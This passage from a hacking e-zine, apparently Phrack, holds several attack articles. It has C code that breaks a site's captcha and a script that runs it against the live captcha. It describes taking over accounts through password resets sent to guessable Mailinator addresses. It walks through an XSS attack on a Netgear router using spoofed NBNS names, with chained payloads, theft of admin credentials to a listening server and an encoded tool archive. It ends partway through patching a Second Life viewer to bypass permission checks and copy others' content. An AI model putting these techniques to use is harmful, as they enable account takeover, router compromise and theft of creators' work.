if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td=d‑1;

ti=i;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td+=2;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td=d‑1;

ti=i+1;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

td++;

for (k=0;k<3;k++)

if (captcha[ti][td][k]!=255) t++;

if (t<__MIN)

for (k=0;k<3;k++) captcha[i][d][k]=255;

}

}

}

}

void make_bw () {

int i,d;

for (i=0;i<40;i++)

for (d=0;d<120;d++)

if (captcha[i][d][0]!=255)

bw[i][d]=1;

else

bw[i][d]=0;

}

void scan () {

int i,d,k,j,c,coord[6][2][2];

for (d=0,j=0,c=0;d<120;d++) {

for (i=0,k=0;i<40;i++)

if (bw[i][d])

k=1;

if (k && !j) {

j=1;

coord[c][0][0]=d;

}

else if (!k && j) {

j=0;

coord[c++][0][1]=d;

}

}

for (c=0;c<6;c++) {

coord[c][1][0]=‑1;

coord[c][1][1]=‑1;

for (i=0;(i<40 && coord[c][1][0]==‑1);i++)

for (d=coord[c][0][0];d<coord[c][0][1];d++) if (bw[i][d]) {

coord[c][1][0]=i;

break;

}

for (i=39;(i>=0 && coord[c][1][1]==‑1);i‑‑)

for (d=coord[c][0][0];d<coord[c][0][1];d++) if (bw[i][d]) {

coord[c][1][1]=i;

break;

}

for (i=coord[c][1][0],j=0;i<=coord[c][1][1];i++,j++) for (d=coord[c][0][0],k=0;d<coord[c][0][1];d++,k++) chars[c][j][k]=bw[i][d];

dim[c][0]=j;

dim[c][1]=k;

}

}

void read_pixels (int c) {

int i,d,k,r;

float arr[]={4,2,1.333333,1};

memset (bpix,0,8*sizeof(int));

for (k=0,i=0;k<4;k++) {

for (;i<(int)(dim[c][0]/arr[k]);i++) {

for (d=0;d<(int)(dim[c][1]/2);d++) bpix[k][0] += chars[c][i][d];

for (;d<dim[c][1];d++)

bpix[k][1] += chars[c][i][d];

}

}

}

char cmp (int c) {

int i,d;

int err,n,min,min_i;

read_pixels (c);

for (i=0,min=‑1;i<28;i++) { n=abs(heights[i]‑dim[c][0])*__HGT;

for (d=0;d<4;d++) {

n += abs(bpix[d][0]‑table[i][0][d]);

n += abs(bpix[d][1]‑table[i][1][d]);

}

if (min>n || min<0) {

min=n;

min_i = i;

}

}

return ch_list[min_i];

}

char *read_captcha (char *file) {

char *str;

int i;

str = malloc(7*sizeof(char));

load_image (file);

clear_noise ();

make_bw ();

scan ();

for (i=0;i<6;i++)

str[i]=cmp(i);

str[i]=0;

return str;

}

int main (int argc, char *argv[]) {

printf ("%s\n",read_captcha ("test.ppm"));

return 0;

}

Oh, if you want to have some fun and the staff is so kind as to leave captcha.php (now captcha_old.php) you can run this PHP script:

<?

file_put_contents ("a.jpg",file_get_contents ("http://www.phrack.com/captcha_old.php"));

system ("convert ‑compress None a.jpg test.ppm");

system ("./captcha");

?>

I'm done, thanks for reading :)!

darkjoker ‑ darkjoker93 _at_ gmail.com

|=[ 0x02 ]=‑‑‑=[ The Dangers of Anonymous Email ‑ DangerMouse ]=‑‑‑‑‑‑‑‑‑=|

In this digital world of online banking, and cyber relationships there exists an epidemic. This is known simply as SPAM.

The war on spam has been costly, with casualties on both sides. However finally mankind has developed the ultimate weapon to win the war... email anonymizers!

Ok, so maybe this was a bit dramatic, but the truth is people are getting desperate to rid themselves of the gigantic volumes of unsolicited email which plagues their inbox daily. To combat this problem many internet users are turning to email anonymizing services such as Mailinator [1].

Sites like mailinator.com provide a domain where any keyword can be created and appended as the username portion of an email address. So for example, if you were to choose the username "trustno1", the email address trustno1@mailinator.com could be used. Then the mailbox can be accessed without a password at http://trustno1.mailinator.com. There is

no registration required to do this, and the email address can be created at a whim. Obviously this can be used for a number of things. From a hackers perspective, it can be very useful to quickly create an anonymous email address whenever one is needed. Especially one which can be checked easily via a chain of proxies. Hell, combine it with an anonymous visa gift card, and you've practically got a new identity.

For your typical spam adverse user, this can be an easy way to avoid dealing with spam. One of the easiest ways to quickly gain an inbox soaked in spam is to use your real email address to sign up to every shiney new website which tickles your fancy. By creating a mailinator account and submitting that instead, the user can visit the mailinator website to retrieve the sign up email. Since this is not the users regular email account, any spam sent to it is inconsequential.

The flaw with this however, is that your typical user just isn't creative enough to work with a system designed this way. When creating a fresh anonymous email account for a new website a typical users thought process goes something like this:

a) Look up at URL for name of site

b) Append said name to mailinator domain

c) ???

d) Profit

This opens up a nice way for the internet's more shady characters to quickly gain access to almost any popular website via the commonly implemented "password reset" functionality.

But wait, you say. Surely you jest? No one could be capable of such silly behavior on the internet!

Alas... Apparenly Mike & Debra could.

"An email with instructions on how to access Your Account has been sent to you at netflix@mailinator.com"

"Netflix password request

"Dear Mike & Debra,

We understand you'd like to change your password. Just click here and follow the prompts. And don't forget your password is case sensitive."

;) ?

At least security folk would be immune to this you say! There's no way that gmail@mailinator.com would allow one to reset 2600LA's mailing list password...

As you can imagine it's easy to wile away some time with possible targets ranging from popular MMO's to banking websites. Just make sure you use a proxy so you don't have to phone them up and give them their password back... *cough*

Have fun! ;)

‑‑DangerMouse <Phrack@mailinator.com>

P.S. With the rise in the popularity of social networking websites mailinator felt the need to go all web 2.0 by including a fancy list of people who "Like" mailinator on Facebook. AKA a handy target list for a bored individual with scripting skillz.

References:

[1] Mailinator: http://www.mailinator.com

[2] Netflix: http://www.netflix.com

|=[ 0x03 ]=‑‑‑=[ Captchas Round 2 ‑ phpc0derZ@phrack.org ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

[ Or why we suck even more ;> ]

Let's face it, our lazyness got us ;‑) So what's the story behind our captcha? Ironically enough, the original script is coming from this URL:

http://www.white‑hat‑web‑design.co.uk/articles/php‑captcha.php <‑‑ :)))))))

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8

<?php

session_start();

/*

* File: CaptchaSecurityImages.php

* Author: Simon Jarvis

* Copyright: 2006 Simon Jarvis

* Date: 03/08/06

* Updated: 07/02/07

* Requirements: PHP 4/5 with GD and FreeType libraries

* Link: http://www.white‑hat‑web‑design.co.uk/articles/php‑captcha.php

*

* This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version.

*

* This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details:

* http://www.gnu.org/licenses/gpl.html

*

*/

class CaptchaSecurityImages {

var $font = 'monofont.ttf';

function generateCode($characters)

{

/* list all possible characters, similar looking characters and

* vowels have been removed */

$possible = '23456789bcdfghjkmnpqrstvwxyz'; $code = ''; $i = 0; while ($i < $characters) {

$code .= substr($possible, mt_rand(0, strlen($possible)‑1),1); $i++;

}

return $code;

}

function CaptchaSecurityImages(

$width='120',

$height='40',

$characters='6')

{

$code = $this‑>generateCode($characters);

/* font size will be 75% of the image height */

$font_size = $height * 0.75;

$image = imagecreate($width, $height)

or die('Cannot initialize new GD image stream'); /* set the colours */

$background_color = imagecolorallocate($image, 255, 255, 255); $text_color = imagecolorallocate($image, 20, 40, 100); $noise_color = imagecolorallocate($image, 100, 120, 180); /* generate random dots in background */

for( $i=0; $i<($width*$height)/3; $i++ ) { imagefilledellipse($image, mt_rand(0,$width), mt_rand(0,$height), 1,

1, $noise_color);

}

/* generate random lines in background */

for( $i=0; $i<($width*$height)/150; $i++ ) { imageline($image, mt_rand(0,$width), mt_rand(0,$height), mt_rand(0,$width), mt_rand(0,$height), $noise_color);

}

/* create textbox and add text */

$textbox = imagettfbbox($font_size,

0,

$this‑>font,

$code)

or die('Error in imagettfbbox function');

$x = ($width ‑ $textbox[4])/2;

$y = ($height ‑ $textbox[5])/2; imagettftext($image,

$font_size,

0,

$x,

$y,

$text_color,

$this‑>font ,

$code)

or die('Error in imagettftext function');

/* output captcha image to browser */

header('Content‑Type: image/jpeg'); imagejpeg($image);

imagedestroy($image);

$_SESSION['security_code'] = $code;

}

}

$width = isset($_GET['width']) && $_GET['width']<600?$_GET['width']:'120'; $height = isset($_GET['height'])&&$_GET['height']<200?$_GET['height']:'40'; $characters = isset($_GET['characters'])

&& $_GET['characters']>2?$_GET['characters']:'6';

$captcha = new CaptchaSecurityImages($width,$height,$characters);

?>

8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑8

The reason why this particular script was chosen was lost in the mist of time so let's focus instead on the code:

‑‑‑‑[ 1 ‑ Oops

OK so darkangel was right, the script is *really* poorly designed: ‑> The set of possible characters is limited to 28 characters ‑> The characters are inserted in the image using imagettfbbox() with (amongst other things) a fixed $font_size, a predictable position, etc.

‑> The noise itself is generated using lines and circles of the same color ($noise_color) which makes it trivial to remove.

Ok so we knew that it was crappy but there is even more. darkjoker's approach can be seen as a dictionnary attack applied when the noise has been removed. There is much more simple: since the characters are not distorded, we can easily recover them using an OCR software. Luckily there exists a GNU one: gocr. We tested it against the imagettfbbox() function and without surprise ... it worked.

Hey man, it wasn't worth to spend that much time :>

‑‑‑‑[ 2 ‑ Oops (bis)

We located two interested things in the script and if you're a proficient PHP reader then you've probably noticed them too... ;‑)

a) The number of characters inserted in the image is user controlled. If an attacker calls http://phrack.org/captcha.php?characters=x then

he can generate a captcha with X characters ( x >= 2 ). This shouldn't be an issue itself since captcha.php is called by the server. However it is because...

b) The script includes an interesting line: $_SESSION['security_code'] = $code;

This clearly means that the PHP session will only keep track of the *last* $code. While this is a normal behavior (some captcha aren't readable at all so the user must be allowed to refresh), this will be at our advantage.

This gives us the opportunity to mount a new attack:

‑> I'm a spam bot and I'm writing some shit comment about how big & hard your penis will be when you will purchase my special pills. A PHP session is created.

‑> A captcha is loaded and because I'm a bot I can't fucking read it. Too bad for me.

‑> Within the same session I call captcha.php with ?characters=2. With a probability of 1/(28*28) I will be able to predict the code generated. I'll try as many times as required until I'm right. ‑> I will most likely succeed in the end and some poor desperate guy may purchase the pills.

We've changed the captcha mechanism, the old one being captcha_old.php

‑‑‑‑[ 3 ‑ Conclusion

Who knows if spammers are reading phrack? One thing is sure: the script is very present on Internet... Yes you should patch xD

|=[ 0x04 ]=‑‑‑=[ XSS Using NBNS on a Home Router ‑ Simon Weber ]=‑‑‑‑‑‑‑‑=|

‑‑[ code is appended, but may not be the most recent. check: https://github.com/simon‑weber/XSS‑over‑NBNS

for the most recent version. ]‑‑

‑‑[ Contents

1 ‑ Abstract

2 ‑ Test Device Background

3 ‑ Injection Chaining Technique

4 ‑ Device Specific Exploits

4.1 ‑ Steal Router Admin Credentials

4.2 ‑ Hide a Device on the Network

5 ‑ Tool

6 ‑ Fix, Detection and Prevention

7 ‑ Applications

8 ‑ References

‑‑[ 1 ‑ Abstract

For routers which:

1) use NBNS to identify attached devices

2) list these devices on their web admin interface 3) do not sanitize the names they receive

there exists a 15 character injection vector on the web interface. This vector can be exploited by anyone on the network, and will affect anyone who visits a specific page on the web administration interface. Using multiple injections in sequence separated with block comments, it is possible to chain these injections to create a payload of arbitrary length. This can be used to gain router admin credentials, steal cookies from an admin, alter the view of attached devices, or perform any other XSS attack.

The real world application of the technique is limited by how often admins are on the web interface. However, coupled with some social engineering, small businesses such as coffee shops may be vulnerable.

‑‑[ 2 ‑ Test Device Background

I got a Netgear wgr614 v5 for less than $15 shipped on eBay. This is a common home wireless B/G router. Originally released in 2004, its EOL was about 5 years ago [1].

The web admin interface is pretty poorly built (sorry, Netgear!). If you poke around, you'll find a lot of unescaped input fields to play with. However, none of them can really be used to do anything interesting they're one time injection vectors that other users won't see.

However, there is one interesting page. This is the "attached devices" page (DEV_devices.htm). It shows a table of what's connected to the router, and looks something like this:

# Name IP MAC

1 computer_1 192.168.1.2 07:E0:17:8F:11:2F 2 computer_2 192.168.1.11 AF:3C:07:4D:B0:3A 3 ‑‑ 192.168.1.15 EB:3C:76:0F:67:43

This table is generated from the routing table, and the name is filled in from NBNS responses to router requests. If a machine doesn't respond to NBNS, takes too long to respond, or it gives an invalid name (over 15 characters or improperly terminated), the name is set to "‑‑". The table is refreshed in two ways: automatically by the router at an interval, and by a user visiting or refreshing the page.

A quick test showed that the name in this table was unescaped. However, this only gets us 15 characters of payload. I couldn't manage to squeeze a reference to external code in just 15 characters (maybe someone else can?). Executing arbitrary code will require something a bit more sophisticated.

‑‑[ 3 ‑ Injection Chaining Technique

The obvious way to get more characters for the payload is by chaining together multiple injections. To do this, we need a few things:

1) A way to make multiple entries in the table: This is easy, we just send out fake responses for IP/MAC combinations that don't already exist on the network.

2) A way to control the order of our entries:

Also easy: the table orders by IP address. We'll just use a range of incremental addresses that no one else is using.

3) A way to chain our entries around the other html: Block comments will work for this. Our injections will just open and close block comments at the end and beginning of their reported names. For an illustration, imagine anything between <> will be ignored on the page, and our name injections are delimited with single quotes:

'[name 1] <' [ignored stuff] [ignored stuff] '> [name 2] <' [ignored stuff] ... '> [name 3] <' ...

Great, that was easy. What kind of block comments can we use? How about html's?. This could work, but it has limitations. First off, ‑‑ or > anywhere in the commented out html will break things. Even if this did work, we'd have to be careful about where we split things, and the comments would take up about half of a 15 char name.

Javascript's c‑style block comments are smaller and more flexible. They can come anywhere in code, so long as it isn't the middle of a token. For example,

document/* ignored */.write("something")

is fine, while

docu/* uh oh */ment.write("something")

breaks things.

We also just need to avoid */ in the commented out html, which should be

much less likely to pop up than >. To use javascript block comments, we'll obviously need to use javascript to get our payload onto the page. Call it our "payload transporter". This will work just fine:

"<script>document.write('[payload]');</script>"

So, then, the first thing to do is fit our transporter into 15 char chunks to send as our first few fake NBNS names. Being careful not to split tokens with comments, our first 3 names can be:

<script>/*

*/document./*

*/write(/*

This will open the write command to inject our payload. Now we need to package the payload into the transporter in some more 15 char chunks. Since strings are tokens, we can't split one big string with block comments. We need to split up the payload into multiple strings and introduce more tokens between them. To do this, I leveraged the fact that document.write can take multiple arguments, which it will write in order ‑ the commas that split parameters will be our extra tokens. String concatenation would work, too. So, our payload will be packaged into the transporter like:

'first part of payload', /*

*/ 'second part of payload', /*

*/ 'third part...', /*

...

*/ ,'last part'); /*

It's easy to control the length of the strings to fit into the 15 char length (we've just got to be careful about quotes in our payload). Lastly, we just need to close the script tag, and we're done. We now have a way to write an arbitrary length payload onto the attached devices page. Putting it all together, here's an example of what our series of fake NBNS responses could be if we wanted to get '<script>alert("test");</script>' onto the page:

Spoofed NBNS Name IP MAC <script>/* 192.168.1.111 00:00:00:00:00:01

*/document./* 192.168.1.112 00:00:00:00:00:02

*/write(/* 192.168.1.113 00:00:00:00:00:03

*/'<script>',/* 192.168.1.114 00:00:00:00:00:04

*/'alert(\'',/* 192.168.1.115 00:00:00:00:00:05

*/'test\');',/* 192.168.1.116 00:00:00:00:00:06

*/'</script',/* 192.168.1.117 00:00:00:00:00:07

*/'>');/* 192.168.1.118 00:00:00:00:00:08

*/</script> 192.168.1.119 00:00:00:00:00:09

There are a few other practical considerations that I found while working with my specific Netgear router. It will use the most recent information it has for device names. This means that we have to send our payload every time that requests are sent out. It also means that for some time after we stop injecting, the device listing is going to have a number of '‑‑' entries; the router is expecting to get names for these devices but sees no response. To hide our tracks, we could reboot the router when finished (this is possible by either injection or after stealing admin credentials, which is detailed below).

We also have to be careful that a legitimate device doesn't come on to the network with one of our spoofed IPs or MACs. This could possibly break our injection, depending on the timing of responses.

One last thing to keep in mind: the NBNS packets need to get on the wire quickly, since the router only listens for NBNS responses for a short time. Thus, smaller payloads (which fit into less packets) are more likely to succeed. You'll want to create external javascript to do any heavy lifting, and just inject code to run it. When a payload fails, earlier packets will get there and others won't, leaving garbage in the attached devices list.

‑‑[ 4 ‑ Device Specific Exploits

Naturally, anything that can be done with XSS or javascript is fair game. You can attack the user (cookie stealing), the router (injected requests to the web interface are now authed), or the page itself. I created a few interesting examples that are specific to the Netgear device I had.

‑‑‑‑‑‑[ 4.1 ‑ Steal Router Admin Credentials

On the admin interface, there is an option to backup and restore the router settings. It generates a simple flat file database called netgear.cfg. This file itself is actually rather interesting. It seems to be a plaintext memory dump, guarded from manipulation by a checksum that I couldn't figure out (no one has cracked it as of the time this was written ‑ if you do, let me know). In it, you'll find everything from wireless keys to static routes to ‑ surprise ‑ plaintext administrator information. This includes usernames and passwords for both the http admin and telnet super admin (see [3] for information on the hidden telnet console).

It's easy to steal this file via XSS in the same way that cookies are stolen. The attacker first sets up a listening http server to receive the information. Then, the injection code simply GETs the file and sends it off to the listening server.

With admin access to the router, the attacker can do all sorts of things. Basic traffic logging is built‑in, and can even be emailed out automatically. DoS is possible through the router's website blocking functions. Man in the middle attacks are possible through the exposed dhcp dns, static routing and internet connection configuration options.

‑‑‑‑‑‑[ 4.2 ‑ Hide a Device on the Network

The only place that an admin can get information about who is on the network is right on the page we inject to. Manipulating the way the device list is displayed could provide simple counter‑detection against a suspicious administrator.

For this exploit, we inject javascript to iterate through the table and remove any row that matches a device we're interested in. Then, the table is renumbered. Note that we don't have to own the device to remove it from the list.

Going one step further, the attacker can bolster the cloak of invisibility. Blocking connections not originating from the router is an obvious choice. It might be wise to block pings directly from the router as well.

‑‑[ 5 ‑ Tool

I used Scapy with Python to implement the technique and exploits described above and hosted it on Github [2]. You can also specify a custom exploit that will be packaged and sent using my chaining technique. I also made a simple python http server to listen for stolen admin credentials and serve up external exploit code. Credit goes to Robert Wesley McGrew for NBNSpoof; I reused some of his code [4].

To combat the problem I described earlier about sending packets quickly, I listen for the first request from the router and precompute the response packets to send. These will be sent as responses to any other requests sniffed. You'll notice this if you use my tool; a "ready to inject" message will be printed after the responses are generated.

If you look at my built‑in exploits, you'll see they each use a loadhelp2 function as the entry point. This is just an easy way to get them to run when the page is loaded. The router declares the loadhelp function externally, and runs it on page load; I declare it on the page (so my version is actually used), and use it to launch my external loadhelp2 code. Then, the original code is patched on to the end, so the user doesn't notice.

‑‑[ 6 ‑ Fix, Detection and Prevention

To close the hole, Netgear would only need to change some web backend code in the firmware to escape NBNS names. I contacted Netgear about this. They won't make a fix for this specific model ‑ it already saw its support EOL but they are checking their newer models for this flaw as of September 2011 [1].

So, if you have this router, know that a fix isn't coming. While it may be difficult to initially detect that a device you own is being attacked, once you suspect it there are simple ways to verify it:

check the source of the affected page; you'll see the commented out device entries with suspicious names

use the hidden telnet interface. This will show the many fake IPs that are generated when packing a payload.

as a last resort, watch network traffic for malformed NBNS names

Also, keep in mind that you can only be affected when checking your router's configuration. You could protect yourself completely by never visiting the web administration interface.

‑‑[ 7 ‑ Applications

Of course, this technique's practical application is limited to how often users check their router admin pages. However, when coupled with some social engineering, I could imagine a vulnerability for small businesses like coffee shops.

These locations commonly offer wireless using off‑the‑shelf hardware like my Netgear router. Getting on their network is easy ‑ it's already open. At this point, the attacker starts the exploit, then convinces an employee to check the admin pages (maybe "I'm having some strange issues with the wireless...Can you check on the router and see if my device is showing up?"). I'm sure a practiced social engineer would have no trouble pulling this off.

As far as applying this beyond the home networking realm, a good place to start would be investigating this technique on other routers or better firmwares like DD‑WRT or Tomato. That would at least determine if this is a common flaw. I didn't have another device to play with (the wgr614v5 doesn't work with other firmware), so I'll leave it for someone else to try.

I'm doubtful that other applications very different from what I described exist. Router administration pages simply aren't viewed very much. However, the broader idea of XSS through spoofed NBNS names might be applicable to a different domain. Anywhere there is a listing of NBNS names, there is the possibility of an injection vector.

‑‑[ 8 ‑ References

[1] private communication with Netgear, September 2011

[2] https://github.com/simon‑weber/XSS‑over‑NBNS

[3] http://www.seattlewireless.net/NetgearWGR614#TelnetConsole

[4] http://www.mcgrewsecurity.com/tools/nbnspoof/

October 2011

Simon Weber

sweb090 _at_ gmail.com

begin 644 xss_over_nbns.tgz M'XL(`(D#G4X``^P\^W/;1L[]67_%'CWWD4HI2G)BIZ=8GKJ)TWJ:.J[MS‑Vend

|=[ 0x05 ]=‑‑‑=[ Hacking the Second Life Viewer For Fun & Profit ‑ Eva ]‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 01110010011000010110 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 01100110010101101110 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 10010110111001110011 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ 01110011011001010111 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Index

‑‑‑‑‑‑[ N. Preamble

‑‑‑‑‑‑[ I. Part I ‑ Objects

‑‑‑‑‑‑[ II. Part II ‑ Textures

II. i. Textures ‑ GLIntercept

‑‑‑‑‑‑[ III. Postamble

‑‑‑‑‑‑[ B. Bibliography

‑‑‑‑‑‑[ A. Appendix

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑‑[ N. Preamble

Second Life [1] is a virtual universe created by Linden Labs [2] which allows custom content to be created by uploading different file formats. It secures that content with a permission mask "Modify / Copy / Transfer", which allows creators to protect their objects from being modified, copied or transferred from avatar to avatar. The standard viewer at the time of this writing is 2.x but the 1.x old codebase is still around and it is still the most wide‑spread one. Then, we have third party viewers, and those are viewers forked off the 1.x codebase and then "extended" to modify the UI and add features for convenience.

Second Life works on the principle of separately isolated servers called SIMs (from, simulator, now recently renamed to "Regions") which are interconnected to form grids. The reasoning is that, if one SIM goes down, it will become unavailable but it will not take down the entire grid. A grid is just a collection of individual SIMs (regions) bunched together.

Avatars are players that connect to the grid using a viewer and navigate the SIMs by "teleporting" from one SIM to the other. Technically, that just means that the viewer is instructed to connect to the address of a different SIM.

A viewer is really just a Linden version of a web browser (literally) which relies on loads of Open Source software to run. It renders the textures around you by transferring them from an asset server. The asset server is just a container that stores all the content users upload onto Second Life. Whenever you connect to a SIM, all the content around you gets transferred to your viewer, just like surfing a website.

There are a few content types in Second Life that can be uploaded by users:

1.) Images

2.) Sounds

3.) Animations

Whenever I talk about "textures", I am talking about the images that users have uploaded onto Second Life. In order to upload one of them onto Second Life, you have to pay 10 Linden dollars. Linden maintains a currency exchange from Linden dollars to real dollars.

At any point, depending on the build permission of the SIM you are currently on, you are able to create objects. Those are just basic geometric shapes called primitives, (or prims for short) such as cubes, spheres, prisms, etc... After you created a primitive, you can decorate it with images or use the Linden Scripting Language LSL [3] to trigger the sounds you uploaded or animate avatars like yourself. There is a lot to say about LSL, but it exceeds the scope of the article. You can also link several such primitives together to form a link set which, in turn, is called an object. (LISP fans dig in, Second Life is all about lists everything is a list.)

Coming back to avatars, your avatar has so called attachment‑points which allow you to attach such an object to yourself. Users create content, such as hats, skirts, and so on and they sell them to you and you attach them to these attachment points.

In addition to that, there are such things called wearables. Those are different from attachments because they are not made up of objects but they are rather simple textures that you apply to yourself. Those do not have any geometric properties in‑world and function on the principle of layers, hiding the layer underneath. Finally, you have body parts which are also just textures. For example, eyes, your skin.

The wearable layers get superimposed (baked) on you. For example, if you wear a skin and a T‑shirt, the T‑shirt texture will hide part of the skin texture underneath it.

We are going to take a standard viewer: we will use the Imprudence [4] viewer, the current git version of which has such an export feature and we are going to modify it so it will allow exports of any in‑world object. Later on, the usage of GLIntercept [7] will be mentioned since it can be used to export the wearables and the body parts mentioned which are just textures.

Why does this work? There are a number of restrictions which are enforced by the server, and a number of actions that the server cannot control. For example, every action you trigger in Second Life usually gets a permission check with the SIM you are triggering the action on. Your viewer interprets the response from the SIM and if it is given the green light, your viewer goes ahead and performs the action you requested.

Say, for example, that the viewer does not care whether the SIM approves it or not and just goes ahead and does it anyway. Will that work? It depends whether the SIM checks again. Some viewers have a feature called "Enable always fly.", which allows you to fly around in no‑fly zones which is an instance of the problem. The SIM hints the viewer that it is a no‑fly zone, however the viewer ignores it and allows you to fly regardless.

Every avatar is independent in this aspect and protected from other avatars by a liability dumping prompt. Whenever an avatar wants to interact with you, you are prompted to allow them permission to do so. However, the graphics are always displayed and your viewer renders other avatars without any checks. One annoyance, for example, is to spam particles generated by LSL. Given a sufficiently slow computer, your viewer will end up overwhelmed and crash eventually. These days, good luck with that...

But how do we export stuff we do not own, doesn't the server check for permissions? Not really, we are not going to "take" the object in the sense of violating the Second Life permissions. We are going to scan the object and note down all the parameters that the viewer can see. We are then going to store that in an XML file along with the textures as well. This will be done automatically using Imprudence's "Export..." feature.

Whenever you upload any of the content types mentioned in the previous chapter, the Linden asset server generates an asset ID which is basically an UUID that references the content you uploaded. The asset server (conveniently for us) does not carry out any checks to see whether there is a link between an object referencing that UUID and the original uploader. Spelled out, if you manage to grab the UUID of an asset, you can reference it from an object you create.

For example, if a user has uploaded a texture and I manage to grab the UUID of the texture generated by the asset server, then I can use LSL to display it on the surface of a primitive. It is basically just security through obscurity (and bugs)...

‑‑‑‑‑‑[ I. Part I ‑ Objects

The "Export..." feature on the viewers we attack is not an official feature but rather a feature implemented by the developers of the viewers themselves. That generally means that the viewer only implements certain checks at the client level without them being enforced by the server. The "Export..." feature is just a dumb feature which scans the object's measurements, grabs the textures and dumps the data to an XML file and stores image files separately.

Since it is a client‑side check, we can go ahead and download Imprudence (the same approach would work on the Phoenix [5] client too) and knock out all these viewer checks.

After you cloned the Imprudence viewer from the git repo, the first file we edit is at linden/indra/newview/primbackup.cpp.

Along the very fist lines there is a routine that sets the default textures, I do not think this is needed to make our "Export..." work, but it is a good introduction to what is going on in this article:

++++++++++++++++++++++++++++++++++++++++

void setDefaultTextures()

{

if (!gHippoGridManager‑>getConnectedGrid()‑>isSecondLife()) {

// When not in SL (no texture perm check needed), we can

// get these defaults from the user settings...

LL_TEXTURE_PLYWOOD = LLUUID(gSavedSettings.getString("DefaultObjectTexture")); LL_TEXTURE_BLANK = LLUUID(gSavedSettings.getString("UIImgWhiteUUID")); if (gSavedSettings.controlExists("UIImgInvisibleUUID")) {

// This control only exists in the

// AllowInvisibleTextureInPicker patch

LL_TEXTURE_INVISIBLE = LLUUID(gSavedSettings.getString("UIImgInvisibleUUID")); }

}

}

++++++++++++++++++++++++++++++++++++++++

The viewer uses a method isSecondLife() to check if it is currently on the official grid. Depending on the outcome of this method, the viewer internally takes decisions on whether certain things are allowed so that the viewer will conform to the Linden third‑party viewer (TPV) policy [6]. The TPV policy is a set of rules that the creator of a viewer has to respect so that the viewer will be granted access to the Second Life grid (ye shall not steal, ye shall not spam, etc...).

However, these checks are client‑side only. They are used internally within the viewer and they have nothing to do with the Linden servers. What we do, is knock them out so that the viewer does not perform the check to see if it is on the official grid. In this particular case, we can knock out the check easily by eliminating the if‑clause, like so:

++++++++++++++++++++++++++++++++++++++++

void setDefaultTextures()

{

//if (!gHippoGridManager‑>getConnectedGrid()‑>isSecondLife())

//{

// When not in SL (no texture perm check needed), we can

// get these defaults from the user settings...

LL_TEXTURE_PLYWOOD = LLUUID(gSavedSettings.getString("DefaultObjectTexture")); LL_TEXTURE_BLANK = LLUUID(gSavedSettings.getString("UIImgWhiteUUID")); if (gSavedSettings.controlExists("UIImgInvisibleUUID")) {

// This control only exists in the

// AllowInvisibleTextureInPicker patch

LL_TEXTURE_INVISIBLE = LLUUID(gSavedSettings.getString("UIImgInvisibleUUID")); }

//}

}

++++++++++++++++++++++++++++++++++++++++

Without this check, the viewer assumes that we are on any grid but the Second Life grid. You probably can notice that these checks are completely boilerplate.

Let us move on to the next stop. Somewhere in linden/indra/newview/primbackup.cpp you will find the following:

++++++++++++++++++++++++++++++++++++++++

bool PrimBackup::validatePerms(const LLPermissions *item_permissions) { if(gHippoGridManager‑>getConnectedGrid()‑>isSecondLife()) {

// In Second Life, you must be the creator to be permitted to

// export the asset.

return (gAgent.getID() == item_permissions‑>getOwner() && gAgent.getID() == item_permissions‑>getCreator() && (PERM_ITEM_UNRESTRICTED & item_permissions‑>getMaskOwner()) == PERM_ITEM_UNRESTRICTED);

}

else

{

// Out of Second Life, simply check that you're the owner and the

// asset is full perms.

return (gAgent.getID() == item_permissions‑>getOwner() && (item_permissions‑>getMaskOwner() & PERM_ITEM_UNRESTRICTED) == PERM_ITEM_UNRESTRICTED);

}

}

++++++++++++++++++++++++++++++++++++++++

This checks to see if you have full permissions, and are the owner and the creator of the object you want to export. This only applies to the Second Life grid. If you are not on the Second Life grid, then it checks to see if you are the owner and have full permissions. We will not bother and will modify it to always return that all our permissions are in order:

++++++++++++++++++++++++++++++++++++++++

bool PrimBackup::validatePerms(const LLPermissions *item_permissions) {

return true;

}

++++++++++++++++++++++++++++++++++++++++

The next stop is in the same file, at the following method:

++++++++++++++++++++++++++++++++++++++++

LLUUID PrimBackup::validateTextureID(LLUUID asset_id)

{

if (!gHippoGridManager‑>getConnectedGrid()‑>isSecondLife()) {

// If we are not in Second Life, don't bother

return asset_id;

}

